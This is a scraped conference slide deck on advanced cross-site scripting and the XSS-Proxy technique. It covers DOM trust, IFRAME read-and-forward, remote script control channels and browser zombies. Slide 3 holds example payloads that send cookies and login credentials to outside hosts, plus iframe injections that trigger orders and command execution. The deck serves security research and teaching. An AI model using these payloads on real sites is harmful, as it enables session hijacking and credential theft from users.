Docstoc

shmoocon- XSS- Proxy

Document Sample
shmoocon- XSS- Proxy Powered By Docstoc
					                           Advanced Cross Site Scripting
                                    Evil XSS

                                                 Anton Rager


Copyright© 2002 Avaya Inc. All rights reserved
Cross Site Scripting

• 1st Gen XSS was against public sites and ran against everyone that
  visited site
    – attacker uploads script content that everyone visiting page
       execs
    – Popups, redirects other annoyances
    – Relayed cookies to attacker
• 2nd Gen XSS focuses on sites that allow self-reflection XSS
    – User input modifies resulting page and can inject script
       commands into returned page (site search and echoed results)
    – Normally chained with a 1st Gen attack on public site/email for
       site redirection with redirection URL forcing a XSS on 2nd site
    – Cookies and other site-specific browser info leaked to attacker



                                   2
Cross Site Scripting

• Types of information leakage
    – Client can reveal cookies to 3rd party (session state, order info, etc)
        • http://host/a.php?variable="><script>document.location='http://www.cgise
          curity.com/cgi-bin/cookie.cgi?
          '%20+document.cookie</script>
    – Client can reveal posted form items to 3rd party (userID/passwd, etc)
        • <form> action="logoninformation.jsp" method="post"
          onsubmit="hackImg=new Image;
          hackImg.src='http://www.malicioussite.com/'+document.forms(1).login.val
          ue'+':'+ document.forms(1).password.value;" </form>
    – Client can be tricked into accessing/posting spoofed info to trusted
      server
        • www.trustedserver.com/xss.asp?name = <iframe
          src=http://www.trustedserver.com/auth_area/orderupdate?items=4000></if
          rame>
    – Client can be tricked into attacking other sites
        • /hello.asp?name = <iframe
          src=http://vuln.iis.server/scripts/root.exe?/c+dir></iframe>


                                          3
  Cross Site Scripting (XSS)
   Client redirected to        Single Client Reflection
   site via email/other
   XSS site
                          client sends request to
                          server with XSS tags
 Target
 Client                    Server sends response
                           with XSS “commands”                         Private                                  Attacking
                                                                       display                                  Client
                    Client executes XSS to 3rd                                         Update page with
                    party, server or both                                              XSS tags
                    (Info Leak / Trust Leverage)
                                                          Server with
                                                          XSS reflection
Attacker
Server                                                                                                Other
                                                                           Client requests page       Clients

                                     Multi Client Reflection
                                                                                                     Client executes XSS to 3rd
                                                                       Server sends response
                                                                                                     party, server or both
                                                                       with XSS commands
                                                                                                     (Info Leak / Trust Leverage /
                                                                                                     Client Redirection)
                                                       Public
                                                       display
                             Server with                                                          Attacker
                             XSS reflection                                                       Server



                                                                  4
Limitations of these attacks

• Usually only get one transaction with XSS code against
  vulnerable site
• Most attacks are only focused on collecting cookies
• POST based forms are seldom leveraged – almost
  always use GET methods
• Attacker does not know actual responses to client
   – Some experts recommend using POST, hidden form
     inputs and other session state info to limit XSS risks….




                               5
DOM Security Overview

• Child Windows and same site trust
• Scripts can interact between the two windows
• Script content can be loaded from anywhere
  (RPC/Remote scripting is common)
• Images can be loaded from anywhere
• Javascript can either be within <script></script> tags,
  loaded elsewhere via <script src=remote.com>, or
  attacked to many tags <img
  src=javascript….onload=javascript>
• Form GET/POST can be to another site or a javascript
  action
• XSS allows DOM abuse, but still follows DOM rules

                             6
IntraWindow/IFRAME Impacts

• Script can read all HTML content/tags in other window
• Script can set/delete tags/content in other window. We can read
  and set form values, then run a submit()
• Script can set vars and call functions in other window
• Document.write can allow script to create new tags/content in
  other window
• This means that a script can read all HTML contents of a
  document, change the appearance of the document, modify exiting
  tags/and values, modify and submit forms. We have full control of
  the other window as long it’s in same document.domain
• If we can forward cookies, then we can also forward other jscript
  accessible content to an attacker. We can forward page contents,
  form values (including hidden…) jscript vars/state, jscript errors.


                                  7
Load/Read/Forward Overview

• DOM security allows a script to interact with windows it creates if they are
  still within the same document.domain (same site, same protocol, same
  port number). DOM security should block script access to documents
  outside the document.domain of the script (document that loaded it)
• We create a new window and set the location to the same site that we can
  already XSS – some other directory/or document on same site
     – Can either use a new window created by XSS or an inline frame
        <IFRAME>
     – Popup blockers make script based window creation harder, but
        <IFRAME> still works and can be treated like another window
• If the DOM security is met when we open content (same site…), then we
  can read/write to the new window.
• We just need some glue to open a list of documents, read the contents
  and forward the results somewhere – our code will run in original window,
  documents will be loaded in IFRAME/child window, and our code will be
  able to read/write the document in the IFRAME



                                       8
Static XSS content leakage (IFRAME)
                                                                 XSS Vulnerable Server
    Victim Browser
                                            XSS against site

           Script commands run here



            IFRAME

             Other documents on
             site loaded into here
                                      <img src=“attacker.com/innerHTML_of_IFRAME”>




                                                               Attacker System




                                       9
XSS and intrawindow trust

• A complex XSS vector could load multiple pages,
  handle GET and POST submits, determine jscript vars
  and modify page contents with content in other window
• We can leak contents of pages, form values, results
  from submits and jscript vars as URL parameters with
  <img> <script> and other tag refs to attacker site
• Downside is that it’s not interactive and we have to
  hardcode actions that will work for all XSS victims




                             10
Controlled XSS – RPC based

• We can load external script with a <script src=xxx> tag
• This can be used to leak document/var info (like the
  common cookie leakage with <img>) and if we supply
  script contents back they will be executed. We have a
  two way channel – victim leaks info to us and we can
  tell victim what to do next all in the same request.
• This can simplify the initial XSS vector to a simple
  <script src=http://attacker.com/evilscript.js> that loads
  the more complex script remotely
• This also allows script contents to be customized or
  updated as attacker learns more about specific
  site/victims

                              11
Dynamic XSS with 2way comms (IFRAME)
                                                                     XSS Vulnerable Server
   Victim Browser
                                             XSS against site

          Script commands run here   <script src=“attacker.com”>


           IFRAME

            Other documents on
            site loaded into here
                                        New jscript….




                                                                   Attacker System

                                       <script src=“attacker.com/innnerHTML_of_IFRAME”>




                                       12
Advanced XSS - Hiding IP/location of attack host
• Uses 1 XSS site for controlling window
• 3 IFRAMEs in main window
    – 1 for load/read on original XSS site (normal XSS-Proxy)
    – 1 for loading second XSS site with special vector (+subIframe)
    – 1 for communications channel
• Still have capability to load/read docs of that XSS site in IFRAME1
• New site gets loaded into IFRAME2 and creates another IFRAME within for
  loading docs on site2
• IFRAME3 becomes a covert channel by having site change current location to
  point to a URL that will 404. URL is actually the covert contents and gives
  control to the other site for next redirect of IFRAME3.
• Site1 gets commands from remote attacker, sets IFRAME3 to site2 URL with
  commands in URL.
• Site2 has control of IFRAME3, so reads the current location to determine
  commands/tasks to run. Upon completion of tasks, Site2 changes IFRAME3 to
  Site1 location and leaks results on new URL. Site1 now has control, so reads
  URL, forwards results to remote attacker, and gives new commands across
  IFRAME3


                                       13
Visual – Window based and IFRAME based
                                                                    XSS Site1 Server
   Victim Browser
                                                 XSS against site

    Script commands run here

           IFRAME1

            Site1 documents
            loaded into here

           IFRAME2
            “Channel” – set to
            other site with info in        XSS
            URL (404)                                                     Attacker System

           IFRAME3           Script
                Site2 documents
                loaded into here

                                             XSS Site1 Server


                                      14
Controlled XSS impacts

•   Read/Set arbitrary variables
•   Read/Set contents of documents (and forms)
•   Form submission (POST/GET)
•   Possible to download binary content (XMLHTTP)
•   Leverage non-cookie based trusts – potential escalation of privs
•   HTTP Proxy capabilities to remote site? (XMLHTTP)
•   Browser Zombies
•   MITM when user goes to one of our XSS controlled sites
•   DDoS potential
•   Transfer victim to other XSS vulnerable sites
•   Masqueraded site hacking – Nikto via XSS?
•   Cross Site Request Forging (CSRF)
•   CSRF + XSS Fuzz with validation
•   A Giant Jscript cluster


                                        15
Implications

• How do you know if you have XSSWare running?
• How much do you trust the site you are logged into?
• Do you know if the responses from a site are actually
  the site, or XSSWare MITMing you?
• If you are running a site, how do you know that a
  specific browser is actually the attacker?




                             16
More Info

• Xss-proxy and slides
   – http://sourceforge.net/projects/xss-proxy
• Anton Rager – arager@avaya.com




                              17

				
DOCUMENT INFO
burmesepentester burmesepentester YGN Ethical Hacker http://yehg.net
About